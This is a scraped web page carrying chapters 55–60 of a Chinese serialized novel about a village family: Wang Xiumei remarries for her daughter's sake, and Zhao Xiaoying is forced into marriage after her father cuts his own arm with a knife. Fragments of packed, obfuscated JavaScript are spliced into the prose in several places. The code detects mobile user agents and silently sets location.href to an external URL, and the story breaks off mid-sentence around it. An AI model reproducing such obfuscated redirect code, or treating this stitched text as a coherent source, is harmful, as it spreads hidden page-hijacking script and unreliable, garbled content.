d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788802|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮忙，一家人也算是在市里扎根了。 看着他的餐馆，再去了他在市里买的房子，他没想到吴梦霖居然干成老板。对比自己，内心难以隐藏的自卑感让他无所适从。 吴梦霖是个心思缜密的人，似乎看出了他的窘迫，主动提出帮忙：“亮哥，我原来干过的那家酒店正好招前台，我看你这身高形象，收拾收拾绝对没问题。去试试？” 赵国亮没多犹豫就答应了。于是，他就在这家酒店干了几个月前台接待。这份工作意外地让他感到一丝轻松。 酒店里没人知道他的过往，只知道他能说会道，待人接物大方得体，长得也精神。他渐渐喜欢上了这种“重新开始”的感觉。休息时，他就去吴梦霖店里小酌几杯，两个老同学回忆着高中时无忧无虑的青春时光。 他甚至开始暗暗规划，好好干，攒点钱，再跟吴梦霖借点，争取也在市里买个小房子。那样，或许……或许就有底气，重新把王秀梅追回来？远离农村的是是非非，在市里扎根，重新过日子。 然而，这个刚冒出头的“美梦”，很快就被杨红翠的一个电话击得粉碎。王秀梅再婚的消息，给他泼了一盆冷水。 放下电话，他只能苦笑。美梦终究是梦，醒了，人也该彻底清醒了。 唯一庆幸的是，他现在不在老家。若是在村里，自己这点破事怕是又要成为全村人茶余饭后的话题，父母更会在耳边唠叨个没完。他发现自己挺喜欢城里这种“陌生”的环境，没有熟人，没有指指点点，可以暂时躲开那些审视的目光。 56. 再婚（2） 王秀梅再婚的消息，除了娘家人和李春阳，她谁也没告诉，也没让父母来宁波。可还是传到村里其他的耳中。 她和陈建军都是二婚，各自带着孩子组建新家庭。两人只是去民政局领了证，没办酒席，只在陈家简单吃了顿饭，就算把事办了。 对于陈建军，王秀梅心里始终存着一份感激。 是的，感激。他是个好人。 来到宁波后，王秀梅的生活原本正一步步走上正轨。她手里攒了些钱，正打算换个宽敞点的房子，让女儿不用整天闷在狭小的房间里。说到赵无恙，这孩子乖得让她心疼，也让她无比愧疚。 一个四岁的孩子，能一整天安安静静地待在房间里，不哭不闹，自己吃饭上厕所，懂事得不像话。她常想，要是换成赵安然，还不知得闹成什么样。每每这时，她就无比想念儿子。 偏偏在她准备换房的关键时候，王秀山出事了。他被人砍伤了，急需一大笔钱做手术。打电话给她的是王秀山的“女朋友”，她叫张小丽。 后来王秀梅才知道，张小丽是在夜场工作的。机缘巧合下认识了王秀山，因为她的工作性质，经常被男顾客骚扰，王秀山就提议假扮她“男朋友”帮忙挡一挡。出事那天，张小丽被几个男人灌醉关在包厢里出不来，紧急之下，她打电话向王秀山求救。王秀山为此上演了一出“英雄救美”，但代价就是胸口被砍了两刀。 张小丽在电话里哭着说钱不够，医院催得急。王秀梅立刻请假，抱着赵无恙，带着所有积蓄赶往广州。她和张小丽把能凑的钱全砸了进去，才总算把王秀山从鬼门关抢了回来。 也许人倒霉久了，命运也会偶尔给点甜头。王秀山这次“拼命”付出，倒让张小丽真正接受了他。 张小丽看着王秀梅带着孩子匆忙赶来，心里很愧疚。她之前就听王秀山说过家里的情况。于是，张小丽主动留下来照顾王秀山，让王秀梅安心带孩子回宁波上班。 陈建军，是王秀梅在工作的商场认识的。他是商场的物业管理人员，因为工作交集，一来二去两人算是认识。王秀梅感觉得到陈建军对她有好感。其实，自从她来商场上班，对她示好甚至追求的男人不少，但她都一一拒绝了。 陈建军是这些人里最让人舒服的一个。他为人礼貌得体，做事周到，从不越界，和他的长相一样，透着一股成熟稳重的踏实感。不过，商场里的同事们私下里都不赞成她和陈建军在一起，因为以她的样貌，完全可以挑个条件更好的。 每次听到同事们的议论，王秀梅只是笑笑，从不接话。 两人的转机，是一次偶然的碰面。那天王秀梅调休，她终于有空带赵无恙去公园玩。没想到，竟在那里碰到了陈建军。 王秀梅很自然地介绍：“这是我女儿，赵无恙。”她本意是想让陈建军知难而退。没想到陈建军温和地笑了笑，告诉自己他也有一个儿子，和赵安然差不多年纪。 因为孩子，两人有了第一次真正意义上的长谈。那次公园游玩，王秀梅再一次肯定了陈建军的人品。他总是细致地照顾她和孩子，默默付出，做的永远比说的多。他和赵国亮是完全不同的人。赵国亮像飘在天上的云；而陈建军，是踩在地上的路。 尽管知道陈建军是个难得的好男人，是过日子的理想人选，但王秀梅心里清楚，有的人千好万好，终究不是自己心里喜欢的那一个。更何况，此时的她，根本没有再婚的打算，甚至做好了独自抚养女儿终老的准备。 那天回去后，陈建军犹豫了一下，还是委婉地提醒王秀梅：“秀梅，我觉得无恙……好像跟其他孩子有点不一样？她好像不太爱说话？要不……带孩子去医院看看？” 陈建军的话再次点醒了王秀梅。她又想到了之前赵庭春也给她建议过，她仔细观察，才发现女儿确实过于安静，对周围环境反应迟钝。在陈建军的帮助下，她联系了医院和医生。 检查结果出来了，赵无恙是儿童语言发育迟缓，而且已经四岁多了，情况有些复杂，需要尽早进行干预治疗。 这是继王秀山后，王秀梅再一次情绪崩溃。 这一年的王秀梅也是命运波折，从离婚、孤身带娃谋生、弟弟出事花光了积蓄，现在女儿又查出这样的问题……她已经山穷水尽。 她声音发颤地问医生：“医生，这病……严重吗？如果……如果晚点治疗，行不行？”她想着再熬一两个月，等发了工资和季度奖金就有钱了。 这时候陈建军向她伸以援手，不是趁火打劫。他告诉王秀梅，什么都比不上孩子健康，耽误不得。 赵无恙就这样住进了医院，开始了治疗。 治疗期间，王秀梅工作、医院两头跑，焦头烂额。陈建军默默地帮了她很多，经常在她忙不过来时去医院帮忙照看赵无恙。虽然他从来没有向自己提出什么要求，但王秀梅心里明白，一个陌生男人对你和孩子无私奉献是不可能的，哪怕他人很好。 此时的她，别无选择，只能默默承受这份恩情，心里想着日后一定要把钱还上。 医生告诉王秀梅，孩子的治疗是长期的，尤其需要创造一个丰富的语言环境，多和语言能力好的孩子接触，多进行户外活动。 听到“语言环境”四个字，王秀梅痛恨自己。女儿的现状，不正是自己造成的吗？为了工作，为了省钱，她把女儿长期关在狭小的出租屋里，除了晚上睡觉前能说上几句话，女儿大部分时间都是一个人，没有交流，没有伙伴，更没有户外活动。 她甚至开始怀疑，当初把孩子从赵家带走，是不是错了？如果赵无恙留在赵家，有爷爷奶奶、有安然陪着，女儿会不会比现在快乐？ 但开弓没有回头箭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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接下来的日子，陈建军经常带着陈思阳来找王秀梅母女，一起逛公园，去儿童乐园。虽然赵无恙依然很少开口，总是安安静静的，但王秀梅能感觉到女儿的变化——每次知道要出去玩，她都会早早地背上自己的小背包，眼睛里闪着期待的光。她在开心。 如果遵从自己的内心，不是为了赵无恙，王秀梅是绝对不会和陈建军结婚的。尽管她不得不承认，陈建军是她目前困境中最稳妥的选择，她也相信和他结婚后，日子会过得安稳平静。 但是，她不爱他。 夜深人静时，王秀梅常常觉得自己很幼稚，也很可笑。一个结过婚、离过婚，生了两个孩子的女人，在为生计奔波发愁的时候，居然还在纠结结婚要不要有爱情。 然而，现实没有给她太多选择的余地。如果不和陈建军结婚，以她现在的能力和时间，根本无法为赵无恙创造一个理想的、能促进语言发展的环境，改善女儿的状况。反复权衡之下，她最终还是点了头。 既然陈建军心甘情愿，愿意接纳她和女儿，那也不能怪她自私了。也许，时间久了，她的想法会改变吧？她只能这样安慰自己。 57. 逼婚（1） 时间过得飞快，2011年这一年嗖得一下就过去了，马上要迎来2012年了。 今天是除夕，恰逢镇上赶大集的日子。本该是开心的日子，赵小英心里却闷得慌，怎么也高兴不起来。 她看着眼前这个高高瘦瘦、显得有些木讷的“老实人”，心里只有说不出的抗拒。她宁愿在家帮母亲准备年夜饭，也不愿跟着他出来逛集。可架不住杨红翠和赵兴强一直在耳边念叨，她只能硬着头皮来应付这次“约会”。 这个男人叫李志，比她大三岁，是阳平山上的人。早在赵国亮结婚那年，就有亲戚想把她介绍给李家，当时父母一听是高山上的，想都没想就拒绝了。没想到七年过去，父母竟主动答应了这门亲事。 这让赵小英又气又委屈。 从去年父母开始撮合，她就明确拒绝了。父母却说李志也在外面打工，两人可以多见面，培养下感情。李志倒是实诚，经常来舅妈的包子铺找她。可每次约她出去，就是干巴巴地散步，半天也憋不出一句话。送的礼物更是让人无语，尽是些哄小孩子的廉价玩具。赵小英觉得既好笑又无奈。 这个男人在城里打工也好几年了吧，怎么还是一副没见过世面的样子？不愧是高山上下来的。最让她受不了的是，李志就像个没有思想的机器，每次她说什么他才做什么，需要她的指令，而且还是个反应迟钝、不太灵光的机器。 赵小英不喜欢这个笨笨的男人。 比如现在，她说饿了，李志就在眼前的摊子上给她买了一块豆糕。是的，就一块。旁边明明有卖面条、买米粉、包子的店铺，他就像看不见一样，就近买了面前的豆糕。他的理由是：“这个豆糕很好吃，我每次下山赶集都会来吃，一块豆糕就特别管饱。” 为什么他就不问问她想吃什么？赵小英憋了一肚子气，豆糕也没接，扭头就回家了。 除夕一过，父母又安排了和李家人的正式见面。看着李家父母提着大包小包的年货上门，杨红翠喜笑颜开，热情地招呼着。来的人除了李家老两口，还有李志的姐姐李燕。李燕比弟弟要会说话多了，一见面就拉着赵小英聊天，问她在哪个城市打工，平时喜欢什么，主动找着各种话题。 李志呢？就坐在她俩后面，像个闷葫芦，一言不发。 饭桌上，李家老两口和赵家老两口你一言我一语，聊得热火朝天，商量着婚期、彩礼、酒席，仿佛这件事已经板上钉钉，根本没人问问赵小英的意见。赵小英环顾着桌边的每一个人：父母是铁了心要把她嫁过去；大哥自从离婚后，对家里的事漠不关心，她的婚事好像与他没有半毛钱关系；二哥虽然心里向着她，但他性格软，在家说不上话，更没能力反抗父母；最后就剩个七岁的赵安然，小孩子懂什么？ 一大家子，她孤立无援。 她听李家人说，今年还在老家过年，是因为山上还有不少亲戚。但他们家已经搬下山了，卜二娃家卖水果搬到街上去了，他们就买了同村卜二娃的房子。这两年，阳平山上的人家都在陆陆续续地往山下搬。 房子弄好了，还就在本村，亲家离得近。赵兴强和杨红翠对此非常满意。除了房子外，他们最关心的就只剩下彩礼了。李家拿出了诚意：三万六。赵兴强和杨红翠对视了一眼，都从对方眼里看到了满意。 一顿饭的功夫，赵家父母就替赵小英把这门亲事给定下了。 赵小英原以为这只是双方商量事情的普通饭局，结果没想到这竟然是她的“定亲宴”。等李家人临走时，给赵家每个人都塞了个红包，等她反应过来的时候李家人已经满意地离开。除了她自己，所有人都觉得这门亲事已经成了。 当天晚上，赵智民又带着赵安然出去找李波他们玩了，赵国亮也不知去了哪里，反正他现在是不会待在家里的。只有赵小英留下来，帮着父母收拾碗筷。 客厅里传来父母的对话： “李申高想的是，俩孩子的婚礼干脆和搬家酒一起办，来个双喜临门，你觉得咋样？”赵兴强询问着在正在扫地的杨红翠。 “我觉得可以，反正村里的人基本上都跟他们认识，办两次酒席还浪费钱。”杨红翠立刻赞同。 “不过我们肯定是要办出嫁酒席的，虽然在同村，但是流程还是得走完。” “嗯嗯，我也是这样想的。头天咱们这边办出嫁，第二天他们那边办正式酒席。” “日子，你找人看好没？” “李申高找的是郭大可，我觉得还是可以，郭大可看得比较准。” 听着父母旁若无人地安排着自己的婚事，好像她这个当事人不存在似的，哪怕她此刻就在厨房正洗着碗，也没人问一句她的想法。 “我不同意！你们凭啥子替我做决定。”赵小英冲到客厅，对着父母大声喊道。 面对女儿的突然反抗，赵兴强和杨红翠只是略微惊讶了一下，脸上并没有太多情绪波动。似乎赵小英的反抗在他们眼里根本不重要。父母之命、媒妁之言是天经地义，他们替女儿选一门“好亲事”已经是莫大的恩惠了。 “你们俩不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788804|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都谈了一年了吗？现在又闹什么？”杨红翠奇怪地看着女儿，觉得她莫名其妙。 赵小英更觉荒谬：“我们啥时候谈朋友了？我们在外面就是老乡见个面那种，根本不是谈朋友！我不喜欢他！我不会跟他结婚的！” 听到女儿竟敢如此顶撞，赵兴强火气“噌”地就上来了，他不禁把声音加大：“胡闹！你这是把婚姻当儿戏吗？两家人已经定好了，你现在又来反悔，你让李家咋个看我们赵家？让村里人怎么看我们？脸都让你丢尽了！” 赵小英听着父亲的怒斥，吓得哭了起来。尽管她很害怕，但还是想要为自己的婚姻再争取，边哭边反对：“那是你们替我决定的，你们根本没有考虑我的感受！我不接受这么亲事。为什么你们不让我自己出去找？” “自己找？你还想找什么样的？看看你哥，就是自己找的。结果呢？现在婚也离了，你侄女也被带走了。你们自己找的都不靠谱！”杨红翠立刻反驳。 赵兴强接话：“你信我们，我们当父母的还能害你不成？现在李家搬下来了，就是咱们村的人，你嫁在本村，想啥时候回娘家就啥时候回。他们李家敢对你不好？对你做啥都还得看我们的脸色。这是多少人求都求不来的福气，你还有什么不满意的？” 听着父母这套“为你好”的说辞，赵小英感到深深的无力。他们有他们根深蒂固的想法，她也有她不愿妥协的坚持。她就是不喜欢李志这个人！ “李志这个人我就不喜欢！跟他呆在一起我就浑身不自在。他人又笨，长得也不好看！”赵小英豁出去了，把心里话喊了出来。 没想到这理由更让父母觉得女儿心比天高，不知好歹。杨红翠嗤之以鼻：“好看顶什么用？能挣钱、能听你话才是正经！你都23了，老大不小了，想事情要实际一点，结婚看的是家境，是挣钱的本事。” 赵兴强更是厉声道：“人李志那么高一大个，哪里不好看？再说了，你嫌弃人家长得不好看，你自己又好看到天上去？人家实心实意想要你，你就别挑三拣四了，过了这村可就没这店了。” 赵小英从小就知道自己不是父母最喜欢的孩子，什么都比不上大哥，长得没他好看，也没他聪明。哪怕她再怎么愚笨，她也能感受得出来父母对自己的不满意。可没想到在父母眼里，自己还不如李志。好像除了李志，她就找不到更好的人家了。 这种压抑感让她窒息，她明白跟父母说什么都没用了。 她要逃！她要出去打工！她不要再待在这个令人窒息的家！ 58. 逼婚（2） 这个春节，赵小英过得如履薄冰，小心翼翼，生怕一句话就点燃父亲的怒火。不同于赵国亮从小受宠，她和赵智民是挨打长大的，她深知父亲真正发怒时的可怕。 日子一天天熬过去，终于到了舅妈要出发回广州的日子。以往她和赵智民都是跟着舅妈家一起走的。今年舅妈还特意跟她说，打算再开一家包子铺，让她去管理，等她上手了，以后那店就给她。舅妈说这些年她的勤快踏实，都看在眼里。 赵小英好像看到了希望，赶紧收拾好东西，准备跟舅妈一起走。可就在这时，舅妈的电话来了。 “小英啊……你的事情我听说了。你爸妈前两天来找你舅舅商量你的婚事，你舅舅就暂时留在老家，等你婚事忙完了再出来。我这边生意耽误不得，必须得走了，你的婚礼……舅妈就不参加了。”舅妈的声音带着一丝无奈。 赵小英一听就急了，眼泪在眼眶里打转，像抓住最后一根救命稻草：“舅妈！我不想结婚！我想跟你走！我想跟你去开店！” 电话那头沉默了一下，传来舅妈叹息的声音：“小英啊，我也想带你走，你跟了我这么多年……说心里话，我也不愿意你在老家结婚。你爸妈来找你舅舅的时候，我也提了想让你再跟我干几年。可你知道你爸那个脾气……能替你说的我已经说了。” 舅妈顿了顿，到底是于心不忍：“哎……说到底，作为舅妈，我没有权利也没有资格站出来替你的人生做决定。万一你跟我再干几年，真耽误了你，我也过意不去。但是小英，舅妈把话放这儿：只要你自己能走出来，到我这儿，舅妈随时欢迎你跟着我干。” 舅妈的话，赵小英听明白了。关键还是父母这一关。自己的命运掌握在自己手里。只要她能靠自己走出家门，舅妈就会顶着父母的压力收留她。 “我一定不能妥协！” 赵小英一遍又一遍的在心里给自己加油鼓气，绝不能向父母屈服，不能被他们洗脑。 今天，赵国亮一大早就坐大巴去了市里。赵智民也没出门，看来他和舅舅一样，要等她婚事完了再走。赵小英决定找二哥帮忙。趁着父母现在都去赶集了，她赶紧给赵智民打电话，让他立刻回家商量对策。 赵智民接到电话匆忙赶回来，看到小英红肿着眼睛坐在客厅，心里一痛。 “我帮你逃！现在就走！”赵智民压低声音，好像有了对策，“我去找李波帮忙叫车，让他想办法把你送到市里。你到了市里先躲起来，我再找人帮你买去广州的车票。” “不……不用跟爸妈说一声吗？”赵小英有些犹豫。 “说什么？爸那个脾气，让他知道了，你觉得你还走得了吗？”赵智民反问。 大脑没有经过太多的思考，赵小英用力点了点头。在等待李波的时间里，她坐立不安，生怕父母突然回来。 “叮铃铃……”赵智民的手机响了。“好的～好的～我们马上来。”他挂了电话，语速飞快，“快把行李拿上，李波找到小车了！他现在在大路边等我们，送我们去街上坐车。” 行李昨晚就收拾好了，只带了必需品。赵智民一把拎过妹妹的行李，两人小跑着去找李波。 坐上李波的摩托车后座，两人悬着的心放下了一半，剩下一半就看能不能顺利坐上小车离开。 “有时候我真搞不懂赵大伯咋想的，”李波一边骑车一边忍不住吐槽，“都什么年代了，还搞包办婚姻这套？” 赵小英沉默着没说话。 赵智民也叹气：“唉，都是大哥离婚闹的。我爸就觉得当时是大哥自己谈的对象，最后也离了；屋头那些听父母安排的，都没离。所以他就觉得小英听他们安排是对的，而且是嫁在当地最好。” “嫁当地？”李波更不解了。 “现在咱们当地的年轻人，谁不拼命往外跑，往城里挤？哪个还愿意嫁在当地？我家几个姐姐妹妹不都嫁城里去了？女的在城里安家比男的更容易！赵大伯怎么就想不通？” 不止他想不通，车后的兄妹俩也想不通。也许只有赵兴强和杨红翠自己心里清楚。 “对了，智民，这些年你也存了不少钱吧，我建议你凑齐了首付还是在城里赶紧买个房。明年我就要调回市里了，我房子也买在市里得，到时候继续跟我做邻居。” 李波的买房建议让赵智民很心动。 李波找的车是他单位同事刘强的亲戚。李波从技校毕业分配回老家单位，明年就要调回市里了，在本地还有些人脉。等小英到了市里他再给她找去广州的长途汽车。 他只求路上千万别碰到赵大伯他们。 要是……真碰上了，他也没有办法了。 不知怎的，李波的眼皮一直跳。他第一次干“帮人逃婚”这种事，心里七上八下的。 怕什么来什么！在岔路口，迎面撞上了赶集回来的杨红翠一行人！ “诶，杨红翠，那不是你家小英和智民吗？”同行的李婶眼尖，指着摩托车喊。 杨红翠定睛一看，可不就是！女儿背着包坐在李波摩托车后座。她突然预感大事不妙，慌忙把背篓塞给李婶：“李嫂，麻烦帮我带回去。我有急事，”说完就朝着摩托车追去。 李波从后视镜看到狂奔而来的杨红翠，心提到了嗓子眼：“糟了！你妈在后面追！怎么办？” “别管！快走！”赵智民急声催促。 两条腿终究跑不过两个轮子，很快就被 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“你这个死丫头！你到底想干啥子？”杨红翠气喘吁吁地冲上来，对着赵小英的后背狠狠捶了两拳。要不是有李波这个外人在场，这两下估计就落在脸上了。 “李波啊，家里有事，我们先回去了啊。”杨红翠强压着火气，不敢对李波发作。李波现在好歹是体制内的人，以后和李家打交道的地方多了去了。 “赵～赵孃～哎～” 李波的话还没说出口，赵小英已经被杨红翠死死拽住胳膊往回拖。赵智民无奈地提起行李，不安地跟在后面。 李波看着他们的背影，心里很不是滋味。事情没办成，他觉得对不起小英。小英也是他看着长大的，跟着他和智民屁股后面玩，也算是半个妹妹，他真不愿她就这么嫁了。可眼下，他也无能为力了。 现在，就只能看小英的造化了。 “你们两个到底要干啥子？搞逃婚那套吗？” “你爸已经晓得了，你们今晚估计吃不了兜着走。” “小英不懂事，智民，难道你也不懂事吗？” 回去的路上，杨红翠一边骂骂咧咧，数落着两人不懂事、丢人现眼，一边还得跟路上遇到的熟人强颜欢笑地打招呼：“啊，对啊，赶集回来了，这就回去了。” 赵小英和赵智民像两个木偶，一言不发。 回到家，赵兴强还没回来。兄妹俩沉默地坐在长凳上，低气压笼罩着他们。杨红翠在厨房一边忙活一边不停地碎碎念。时间一分一秒过去，两人似乎放弃了挣扎，静静地等待着那个一家之主回来，等待着暴风雨的降临。 59. 逼婚（3） 该来的总会来。 赵兴强阴沉着脸走进来，一言不发，径直坐到客厅正中的高板凳上，掏出烟袋锅子，“吧嗒吧嗒”地抽起来。这是他要发作的前兆。小时候他们做错事，父亲就是这样坐着抽烟，抽完了再动手。 但是，凭什么？赵小英心里涌起强烈的不服。她和二哥没做错任何事！凭什么要挨打受罚？ 赵智民显然没想那么多，只想把过错都揽到自己身上，小心翼翼地试探：“爸……要不……就别让小英嫁了？让她出去吧？舅妈都说了，后面还要让小英自己管一个包子铺呢。舅妈还说，小英在广州找个对象，肯定比在老家强……” “舅妈说舅妈说！舅妈是你亲妈啊？什么都听你舅妈的！”杨红翠一听更来气，在她看来，孩子舅妈就是不安好心，总撺掇着小英往外面跑。小英要是嫁到广州，以后一年能见一面就不错了，辛辛苦苦养大的闺女就飞走了。 有时候，赵小英觉得舅妈比亲妈更懂她：“可是舅妈说得没错啊！我就是想出去！我就想嫁到广州，我就是不想在老家结婚！” 跟着舅妈这些年，舅妈总跟舅舅说要在广州打拼、要在广州买房，以后把孩子接过去读书，然后留在大城市。舅妈也一直鼓励赵小英不要困在老家，在外面打工再苦再累，也总比在老家当农民强。要是嫁在农村了，这辈子可能就困在那里了，再想走出来就难了。 杨红翠一辈子生在村里，长在村里，嫁在村里，活了大半辈子都没离开过这片土地。她的眼里就只有眼前的小小一亩三分地。 她固执地认为把女儿嫁在眼前是为女儿好，内心深处何尝不是想着自己老了有事能随时找到女儿？女儿要是嫁远了，远水救不了近火。说到底，这份“为你好”里，藏着自私。只是杨红翠和赵兴强不愿承认罢了。 “你呢？”赵兴强冰冷的目光转向赵智民，“你是不是也想着以后找个广州女人，当倒插门留在广州？” 赵智民倒是老实：“我没想。人家城里姑娘也看不上我。” 听到儿子的回答，赵兴强真是觉得自己养了一个窝囊废。听他那意思，要是有人看上他，他真能上门当女婿去？ “你二哥还有点自知之明！你倒好，心比天高！”赵兴强指着赵小英，又开始重复之前的话，“就你这个样子？要模样没模样，要学历没学历，你还想嫁到大城市？城里男人都是瞎子傻子吗？” 听到父亲如此贬低自己，赵小英不像赵智民那样习惯性地低头，她倔强地昂起脸，不服气地反驳：“我没想攀高枝，我只是想跟着舅妈开包子铺，靠自己本事留在城里！是你们从来都不信我！在你们眼里，女孩子大了找个男人嫁了就完事了！” 赵小英气不过，反正都是要挨骂挨打的，还不如让自己说个痛快：“再说了，哪怕我就是心比天高，我就觉得我可以嫁给大城市的人，难道不可以吗？” “你看看嫂子，离婚带娃还不是二婚嫁到宁波，人家不想一辈子留在这山卡卡里，有错吗？” “你们还想让我嫁给李志，我都说了我不喜欢李志，不喜欢他，你们为啥从来都不替我着想？” 听到小英大哭大闹地把王秀梅搬出来，赵智民慌得赶紧拉着妹妹，让她少说两句。本来嫂子离婚就是父母心里的一根刺，现在她还非得抓着这根刺不放。 “你反了天了！”赵兴强勃然大怒。 啪的一个耳光，重重的一记响亮。 赵小英睁开眼，看到的是挡在自己身前的二哥。这是他们长大后，父亲第一次打人。 她看着赵智民脸上的巴掌印，把他拉在身后，不顾一切的放声大哭，豁出去的嘶吼：“你打啊！你有本事打死我啊！打死我算了！” 赵小英的顶撞彻底点燃了赵兴强的怒火。这火既然被点着了，就没必要再压下去！今天要是镇不住这两个小的，以后还不骑到他头上作威作福？ 杨红翠看到赵兴强阴沉着脸转身往厨房走，心知不妙，赶紧出来打圆场：“你们两个要干啥子啊？我们怎么没为你们着想？小英你自己摸着良心想想，从小到大，我们亏待过你吗？你们每天上学，早饭是不是都吃现成的？吃的穿的，我跟你爸哪样少过你们一分一毫？别人家孩子六七岁就上山干活，你们有吃过这种苦吗？” “赶紧的！快跟你爸认个错，这事就算过去了！”杨红翠急切地看着女儿和儿子。 赵智民咬着嘴唇没吭声。赵小英看见父亲从厨房拐角处出来，手里拿着扁尺，她心里一横，脱口而出：“这事怎么过去？还让我嫁到李家去？” “我看你是翅膀硬了！眼里没我这个爹！没这个家了！我跟你妈是死是活你也不管了，是吧？”赵兴强怒吼着，把扁尺狠狠摔在地上，转身冲进厨房。再出来时，手里变成了一把菜刀。 “赵兴强，你干啥子？你疯啦！快把刀放下！”杨红翠吓得，赶紧扑上去想拦。 “你没听见这个逆子说吗？人家要飞到大城市去，不要这个家了！不管我们死活了！”赵兴强眼睛赤红，状若疯狂。 “行啊！你不嫁可以！既然我管不了你，那我总管的了我自己吧。” 说完这句话，客厅里的三人还没反应过来，只见赵兴强手起刀落，狠狠在自己左胳膊上划开一道口子，鲜血瞬间涌了出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788806|174904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“老赵！你干啥呀，不要命啦！”杨红翠吓得尖叫起来，扑上去死死抓住丈夫拿刀的手腕。 赵智民和赵小英完全被父亲的举动惊呆了，僵在原地。 看到女儿没有反应，赵兴强心一横，既然她要豁出去，那自己也豁出去，就看谁比的过谁。他猛地挣脱杨红翠，对着自己受伤的胳膊，又狠狠地砍了一刀，更多的血涌了出来！ “小英啊！我求求你了！别犟了！你真要逼死你爸吗？！”杨红翠看着汩汩流出的鲜血，崩溃大哭，转向女儿哀求。 这第二刀，终于让吓傻的兄妹俩彻底清醒过来。赵智民看了一眼小英，赶紧上前想要把父亲手里的刀夺下来。 赵小英看着流血的爸，崩溃大哭的妈，着急忙慌的哥……她的大脑一片空白。她想不通，这个家怎么就变成这样了，眼泪止不住的流。最终，眼一闭，绝望地，用尽全身力气嘶喊： “我嫁，我嫁，我嫁还不行吗？！” 听到女儿终于屈服，杨红翠和赵兴强紧绷的神经瞬间松懈下来。杨红翠赶紧指挥赵智民：“快！快把刀拿走！智民，快去找酒精，还有白布！” 这一场闹剧终于结束了。 杨红翠给赵兴强包扎好后，见事态已经缓和下来，开始苦口婆心地给女儿讲道理： “小英，你还年轻，你不懂。结婚过日子，就得找个踏实肯干、能听你话的人。李志是嘴笨点，但他肯干啊！你让他往东他不敢往西，这种人最好拿捏。你是我身上掉下来的肉，我还能害你不成？” “再说，这亲事都定下了。日子也看好了，彩礼也收了，亲戚朋友都通知了。你现在反悔，你让我们家的脸往哪搁？你让李家怎么看我们？他们现在搬下来就是我们一个村的人了，低头不见抬头见，以后我们两家咋个相处？村里人的唾沫星子都能淹死我们！” “你哥离婚那年，你晓得人家怎么在背后说我们的不？你晓得我跟你爸是怎么熬过来的吗？难道你还要我们再遭一次罪？” “不光是我跟你爸，你要是悔婚，我们家在村里就成了背信弃义的小人。以后你哥、你二哥还怎么找媳妇？谁家姑娘还敢嫁到我们赵家来？你也得为你两个哥哥想想啊！” 杨红翠把“家族名声”和“哥哥们的婚事”都压在了赵小英肩上。 赵智民无奈地看着妹妹，眼神里满是愧疚，但一切都晚了。都怪自己没用！要是早点回家，早点通知李波……小英也许已经离开这里了。 赵小英面无表情地听着，眼神空洞。她已经认命了。嫁就嫁吧，没什么好说的了。 两个月后，赵小英和李志举行了婚礼。 60. 住院（1） 赵小英和李志结婚没多久，她就不愿再待在老家，提出想外出打工。李家父母没让她去广州，而是安排她跟着李志一起去了苏州。 在苏州这一年，两人的感情倒是增进了不少。或许是身份转变成了夫妻，李志不再像从前那样抠搜小气，开始给小英买各种昂贵的礼物，主动把工资都交给小英管。两人平时都在厂里吃食堂，休息的时候，李志就包揽了做饭洗衣的家务活。 他虽然人笨拙了一些，也不懂什么浪漫情趣，但胜在老实听话。加上没有公婆在身边叨扰，赵小英的日子过得倒也平静安稳。 这一年很快过去，时间来到2013年，赵小英怀孕了，夫妻俩就没有外出，留在了老家。 与此同时，赵兴强和杨红翠决定，让赵智民回家盖新房！ 考虑到宅基地位置和手头的资金，老两口决定让赵智民的房子就紧挨着赵国亮那套盖，户型结构也一模一样，这样修起来省时、省力、也省钱。 动工后，除了赵国亮不在，赵家人和李家人都出了力。看着每天在工地上埋头苦干的李志，杨红翠就忍不住在女儿面前夸赞：“看吧，妈没看走眼吧？李志这人，人是笨点，但踏实肯干，是个过日子的。” 如今自己也怀了孩子，看着李志和婆家实实在在为娘家出力，赵小英心里那点不甘也淡了些，觉得日子就这么过下去，似乎也不是不行。 那么，赵国亮去哪儿了？ 春节一过，赵兴强就强硬地让他辞掉了酒店前台的工作，让他回县城跟人学家电维修，学修电视、冰箱、空调等。等学成了，就可以自己开店。 这是赵兴强深思熟虑后的决定。赵国亮的一个远房堂叔就在街上开了一家海尔家电专卖店，生意红火得很。这几年国家推行“家电下乡”，农村家家户户都在添置电器，这根本不愁没活干。 老两口一咬牙，把赵小英的彩礼钱拿了一部分出来，交给了赵国亮当学费和生活费。就这样，赵国亮又回到了县城，开始了学徒生涯。 